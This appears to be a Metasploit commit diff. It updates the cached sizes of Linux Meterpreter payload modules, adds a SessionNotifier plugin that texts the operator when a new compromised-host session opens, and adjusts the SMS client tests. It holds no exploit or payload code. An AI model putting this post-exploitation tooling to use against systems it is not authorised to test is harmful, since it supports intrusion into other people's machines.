@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 301264
|
||||
CachedSize = 646808
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 295848
|
||||
CachedSize = 639520
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 293160
|
||||
CachedSize = 638320
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 521672
|
||||
CachedSize = 1019344
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 502792
|
||||
CachedSize = 997900
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 502840
|
||||
CachedSize = 997996
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 395276
|
||||
CachedSize = 788788
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 396192
|
||||
CachedSize = 789888
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x64_mettle_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 302144
|
||||
CachedSize = 700032
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x86_mettle_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 305148
|
||||
CachedSize = 739644
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 380192
|
||||
CachedSize = 864336
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
|
|
@ -0,0 +1,255 @@
|
|||
module Msf
|
||||
class Plugin::SessionNotifier < Msf::Plugin
|
||||
|
||||
include Msf::SessionEvent
|
||||
|
||||
class Exception < ::RuntimeError ; end
|
||||
|
||||
class SessionNotifierCommandDispatcher
|
||||
|
||||
include Msf::Ui::Console::CommandDispatcher
|
||||
|
||||
attr_reader :sms_client
|
||||
attr_reader :sms_carrier
|
||||
attr_reader :sms_number
|
||||
attr_reader :smtp_address
|
||||
attr_reader :smtp_port
|
||||
attr_reader :smtp_username
|
||||
attr_reader :smtp_password
|
||||
attr_reader :smtp_from
|
||||
attr_reader :minimum_ip
|
||||
attr_reader :maximum_ip
|
||||
|
||||
def name
|
||||
'SessionNotifier'
|
||||
end
|
||||
|
||||
def commands
|
||||
{
|
||||
'set_session_smtp_address' => 'Set the SMTP address for the session notifier',
|
||||
'set_session_smtp_port' => 'Set the SMTP port for the session notifier',
|
||||
'set_session_smtp_username' => 'Set the SMTP username',
|
||||
'set_session_smtp_password' => 'Set the SMTP password',
|
||||
'set_session_smtp_from' => 'Set the from field of SMTP',
|
||||
'set_session_mobile_number' => 'Set the 10-digit mobile number you want to notify',
|
||||
'set_session_mobile_carrier' => 'Set the mobile carrier of the phone',
|
||||
'set_session_minimum_ip' => 'Set the minimum session IP range you want to be notified for',
|
||||
'set_session_maximum_ip' => 'Set the maximum session IP range you want to be notified for',
|
||||
'save_session_notifier_settings' => 'Save all the session notifier settings to framework',
|
||||
'start_session_notifier' => 'Start notifying sessions',
|
||||
'stop_session_notifier' => 'Stop notifying sessions',
|
||||
'restart_session_notifier' => 'Restart notifying sessions'
|
||||
}
|
||||
end
|
||||
|
||||
def initialize(driver)
|
||||
super(driver)
|
||||
load_settings_from_config
|
||||
end
|
||||
|
||||
def cmd_set_session_smtp_address(*args)
|
||||
@smtp_address = args[0]
|
||||
end
|
||||
|
||||
def cmd_set_session_smtp_port(*args)
|
||||
port = args[0]
|
||||
if port =~ /^\d+$/
|
||||
@smtp_port = args[0]
|
||||
else
|
||||
print_error('Invalid port setting. Must be a number.')
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_set_session_smtp_username(*args)
|
||||
@smtp_username = args[0]
|
||||
end
|
||||
|
||||
def cmd_set_session_smtp_password(*args)
|
||||
@smtp_password = args[0]
|
||||
end
|
||||
|
||||
def cmd_set_session_smtp_from(*args)
|
||||
@smtp_from = args[0]
|
||||
end
|
||||
|
||||
def cmd_set_session_mobile_number(*args)
|
||||
num = args[0]
|
||||
if num =~ /^\d{10}$/
|
||||
@sms_number = args[0]
|
||||
else
|
||||
print_error('Invalid phone format. It should be a 10-digit number that looks like: XXXXXXXXXX')
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_set_session_mobile_carrier(*args)
|
||||
@sms_carrier = args[0].to_sym
|
||||
end
|
||||
|
||||
def cmd_set_session_minimum_ip(*args)
|
||||
ip = args[0]
|
||||
if ip.blank?
|
||||
@minimum_ip = nil
|
||||
elsif Rex::Socket.dotted_ip?(ip)
|
||||
@minimum_ip = IPAddr.new(ip)
|
||||
else
|
||||
print_error('Invalid IP format')
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_set_session_maximum_ip(*args)
|
||||
ip = args[0]
|
||||
if ip.blank?
|
||||
@maximum_ip = nil
|
||||
elsif Rex::Socket.self.dotted_ip?(ip)
|
||||
@maximum_ip = IPAddr.new(ip)
|
||||
else
|
||||
print_error('Invalid IP format')
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_save_session_notifier_settings(*args)
|
||||
save_settings_to_config
|
||||
print_status("Session Notifier settings saved in config file.")
|
||||
end
|
||||
|
||||
def cmd_start_session_notifier(*args)
|
||||
if is_session_notifier_subscribed?
|
||||
print_status('You already have an active session notifier.')
|
||||
return
|
||||
end
|
||||
|
||||
begin
|
||||
validate_settings!
|
||||
self.framework.events.add_session_subscriber(self)
|
||||
smtp = Rex::Proto::Sms::Model::Smtp.new(
|
||||
address: self.smtp_address,
|
||||
port: self.smtp_port,
|
||||
username: self.smtp_username,
|
||||
password: self.smtp_password,
|
||||
login_type: :login,
|
||||
from: self.smtp_from
|
||||
)
|
||||
@sms_client = Rex::Proto::Sms::Client.new(carrier: self.sms_carrier, smtp_server: smtp)
|
||||
print_status("Session notification started.")
|
||||
rescue Msf::Plugin::SessionNotifier::Exception, Rex::Proto::Sms::Exception => e
|
||||
print_error(e.message)
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_stop_session_notifier(*args)
|
||||
self.framework.events.remove_session_subscriber(self)
|
||||
print_status("Session notification stopped.")
|
||||
end
|
||||
|
||||
def cmd_restart_session_notifier(*args)
|
||||
cmd_stop_session_notifier(args)
|
||||
cmd_start_session_notifier(args)
|
||||
end
|
||||
|
||||
def on_session_open(session)
|
||||
subject = "You have a new #{session.type} session!"
|
||||
msg = "#{session.tunnel_peer} (#{session.session_host}) #{session.info ? "\"#{session.info.to_s}\"" : nil}"
|
||||
notify_session(session, subject, msg)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def save_settings_to_config
|
||||
config_file = Msf::Config.config_file
|
||||
ini = Rex::Parser::Ini.new(config_file)
|
||||
ini.add_group(name) unless ini[name]
|
||||
ini[name]['smtp_address'] = self.smtp_address
|
||||
ini[name]['smtp_port'] = self.smtp_port
|
||||
ini[name]['smtp_username'] = self.smtp_username
|
||||
ini[name]['smtp_password'] = self.smtp_password
|
||||
ini[name]['smtp_from'] = self.smtp_from
|
||||
ini[name]['sms_number'] = self.sms_number
|
||||
ini[name]['sms_carrier'] = self.sms_carrier
|
||||
ini[name]['minimum_ip'] = self.minimum_ip.to_s unless self.minimum_ip.blank?
|
||||
ini[name]['maximum_ip'] = self.maximum_ip.to_s unless self.maximum_ip.blank?
|
||||
ini.to_file(config_file)
|
||||
end
|
||||
|
||||
def load_settings_from_config
|
||||
config_file = Msf::Config.config_file
|
||||
ini = Rex::Parser::Ini.new(config_file)
|
||||
group = ini[name]
|
||||
if group
|
||||
@sms_carrier = group['sms_carrier'].to_sym if group['sms_carrier']
|
||||
@sms_number = group['sms_number'] if group['sms_number']
|
||||
@smtp_address = group['smtp_address'] if group['smtp_address']
|
||||
@smtp_port = group['smtp_port'] if group['smtp_port']
|
||||
@smtp_username = group['smtp_username'] if group['smtp_username']
|
||||
@smtp_password = group['smtp_password'] if group['smtp_password']
|
||||
@smtp_from = group['smtp_from'] if group['smtp_from']
|
||||
@minimum_ip = IPAddr.new(group['minimum_ip']) if group['minimum_ip']
|
||||
@maximum_ip = IPAddr.new(group['maximum_ip']) if group['maximum_ip']
|
||||
|
||||
print_status('Session Notifier settings loaded from config file.')
|
||||
end
|
||||
end
|
||||
|
||||
def is_session_notifier_subscribed?
|
||||
subscribers = framework.events.instance_variable_get(:@session_event_subscribers).collect { |s| s.class }
|
||||
subscribers.include?(self.class)
|
||||
end
|
||||
|
||||
def notify_session(session, subject, msg)
|
||||
if is_in_range?(session)
|
||||
@sms_client.send_text_to_phones([self.sms_number], subject, msg)
|
||||
print_status("Session notified to: #{self.sms_number}")
|
||||
end
|
||||
end
|
||||
|
||||
def is_in_range?(session)
|
||||
# If both blank, it means we're not setting a range.
|
||||
return true if self.minimum_ip.blank? && self.maximum_ip.blank?
|
||||
|
||||
ip = IPAddr.new(session.session_host)
|
||||
|
||||
if self.minimum_ip && !self.maximum_ip
|
||||
# There is only a minimum IP
|
||||
self.minimum_ip < ip
|
||||
elsif !self.minimum_ip && self.maximum_ip
|
||||
# There is only a max IP
|
||||
self.maximum_ip > ip
|
||||
else
|
||||
# Both ends are set
|
||||
range = self.minimum_ip..self.maximum_ip
|
||||
range.include?(ip)
|
||||
end
|
||||
end
|
||||
|
||||
def validate_settings!
|
||||
if self.smtp_address.nil? || self.smtp_port.nil? ||
|
||||
self.smtp_username.nil? || self.smtp_password.nil? ||
|
||||
self.smtp_from.nil?
|
||||
raise Msf::Plugin::SessionNotifier::Exception, "All Session Notifier's settings must be configured."
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def name
|
||||
'SessionNotifier'
|
||||
end
|
||||
|
||||
def initialize(framework, opts)
|
||||
super
|
||||
add_console_dispatcher(SessionNotifierCommandDispatcher)
|
||||
end
|
||||
|
||||
def cleanup
|
||||
remove_console_dispatcher(name)
|
||||
end
|
||||
|
||||
def name
|
||||
'SessionNotifier'
|
||||
end
|
||||
|
||||
def desc
|
||||
'This plugin notifies you a new session via SMS.'
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -6,6 +6,8 @@ RSpec.describe Rex::Proto::Sms::Client do
|
|||
|
||||
let(:phone_numbers) { ['1112223333'] }
|
||||
|
||||
let(:sms_subject) { 'subject' }
|
||||
|
||||
let(:message) { 'message' }
|
||||
|
||||
let(:carrier) { :verizon }
|
||||
|
@ -45,8 +47,8 @@ RSpec.describe Rex::Proto::Sms::Client do
|
|||
end
|
||||
|
||||
it 'sends a text message' do
|
||||
subject.send_text_to_phones(phone_numbers, message)
|
||||
expect(@sent_message).to eq(message)
|
||||
subject.send_text_to_phones(phone_numbers, sms_subject, message)
|
||||
expect(@sent_message).to include(message)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,44 @@
|
|||
require 'spec_helper'
|
||||
require 'rex/proto/sms/model'
|
||||
|
||||
RSpec.describe Rex::Proto::Sms::Model::Message do
|
||||
|
||||
let(:message) { 'message' }
|
||||
let(:from) { 'sender@example.com' }
|
||||
let(:to) { 'receiver@example.com' }
|
||||
let(:sms_subject) { 'subject' }
|
||||
|
||||
subject do
|
||||
described_class.new(
|
||||
from: from,
|
||||
to: to,
|
||||
subject: sms_subject,
|
||||
message: message,
|
||||
)
|
||||
end
|
||||
|
||||
describe '#initialize' do
|
||||
it 'sets message' do
|
||||
expect(subject.message).to eq(message)
|
||||
end
|
||||
|
||||
it 'sets from' do
|
||||
expect(subject.from).to eq(from)
|
||||
end
|
||||
|
||||
it 'sets to' do
|
||||
expect(subject.to).to eq(to)
|
||||
end
|
||||
|
||||
it 'sets subject' do
|
||||
expect(subject.subject).to eq(sms_subject)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#to_s' do
|
||||
it 'returns the sms message' do
|
||||
expect(subject.to_s).to include(message)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue